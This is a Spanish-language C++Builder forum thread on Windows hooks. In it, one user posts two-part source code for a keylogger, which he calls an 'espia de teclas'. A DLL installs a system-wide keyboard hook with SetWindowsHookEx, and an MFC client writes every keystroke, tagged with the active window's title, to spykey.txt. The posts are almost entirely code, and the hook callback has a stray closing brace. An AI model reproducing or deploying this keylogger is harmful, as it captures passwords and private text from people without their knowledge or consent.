 |
Club Builder Foro de C++Builder en español
|
| Ver tema anterior :: Ver tema siguiente |
| Autor |
Mensaje |
ikis Master


Registrado: 28 Dic 2002Mensajes: 703Ubicación: Madrid, España
|
Publicado: Mar 04 May, 2004 12:27 am Asunto: Hooks |
|
|
Aquí les dejo unos ejemplos sobre el uso de hooks, cedidos muy amablemente por César.
http://www.ikis.com.ar/builder/hooks.zip
Hecho el aporte, si alguien realiza alguna mejora, genera un componente, o lo que sea, sugieron que lo comparta (puede ser en el proyecto Open Source del Club) para beneficio de todos. |
|
| Volver arriba |
|
 |
Bircoff Cdt


Registrado: 04 Oct 2004Mensajes: 3
|
Publicado: Lun 04 Oct, 2004 7:07 am Asunto: Mas de Hook |
|
|
Hola, soy denis weno tengo un parte del codigo de un espia de teclas que hice con MFC.
#pragma data_seg(".HOOKDATA")
HINSTANCE hInst = NULL;
HWND hWnd = NULL;
HHOOK hook = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:.HOOKDATA,RWS")//linker directivas
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
hInst = (HINSTANCE)hModule;
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
void InicioSpyKey(HWND hWindow, int idHook){//hWindow es el handle de la ventana q se le enviara el mensaje
hWnd = hWindow;
hook = ::SetWindowsHookEx(WH_KEYBOARD, CallBack, hInst, NULL/*GetWindowThreadProcessId(hWindow, NULL)*/);
if (hook == NULL) {
MessageBox(hWindow, "Error de SpyKey", "Error", MB_OK|MB_ICONERROR);
}
}
LRESULT CALLBACK CallBack(int code, WPARAM wp, LPARAM lp){
if (code>=0) {
if((lp & 0x80000000) == 0x00000000)
PostMessage(hWnd,(WM_USER+135),wp,lp);// el HWND es el handle de la ventana que recivila la informacion
}
}
return (CallNextHookEx(hook, code, wp,lp));
} |
|
| Volver arriba |
|
 |
Bircoff Cdt


Registrado: 04 Oct 2004Mensajes: 3
|
Publicado: Lun 04 Oct, 2004 7:14 am Asunto: Mas de Hook |
|
|
aqui esta la segunda parte del codigo, esta es del lado del cliente.
Vuelvo y reitero esta hecho en MFC
LRESULT CKeylogerDlg::KeySpy(WPARAM wp, LPARAM lp){
//Determinamos la ventana
POINT point;
char titulo[255];
GetCursorPos(&point);
HWND hActive = ::GetForegroundWindow();
if (!hActive){return 0 ;}
if(hActive!=NULL && ::GetWindowTextLength(hActive)>1){//si hay una ventana activae
m_file = new CStdioFile("spykey.txt",CFile::modeCreate|CFile::modeWrite);
::GetWindowText(hActive, titulo, sizeof(titulo)/sizeof(char));
if(hActive == m_vtemp){
m_texto += GetLetra(lp);
}
else{
m_textoVentana.Format("\n\n<NOMBRE DE VENTANA: %s>\n<CONTENIDO>: %s", titulo, GetLetra(lp));
m_texto += m_textoVentana;
}
//Guardamos referencia de ventana
m_vtemp = hActive;
//Guardamos archivo
m_file->WriteString(m_texto);
m_file->Close();
}
//m_file->Close();
return 1;
}
//Extraemos la tecla
CString CKeylogerDlg::GetLetra(LPARAM lp){
char tecla[20];
GetKeyNameText(lp, tecla,20);
_strlwr(tecla);
CString key;
key.Format("%s",tecla);
if (key.GetLength()>1){
key = "<"+key+">";
}
return key;} |
|
| Volver arriba |
|
 |
escafandra Master

Registrado: 29 Nov 2007Mensajes: 625Ubicación: Madrid - España
|
|
| Volver arriba |
|
 |
eepel Cdt

Registrado: 28 Abr 2007Mensajes: 18
|
|
| Volver arriba |
|
 |
|
|
No puedes publicar temas nuevos en este foro No puedes responder a temas en este foro No puedes editar tus mensajes en este foro No puedes borrar tus mensajes en este foro No puedes votar en las encuestas de este foro
|
© 2002–2026 Club Builder · Funciona con phpBB.
|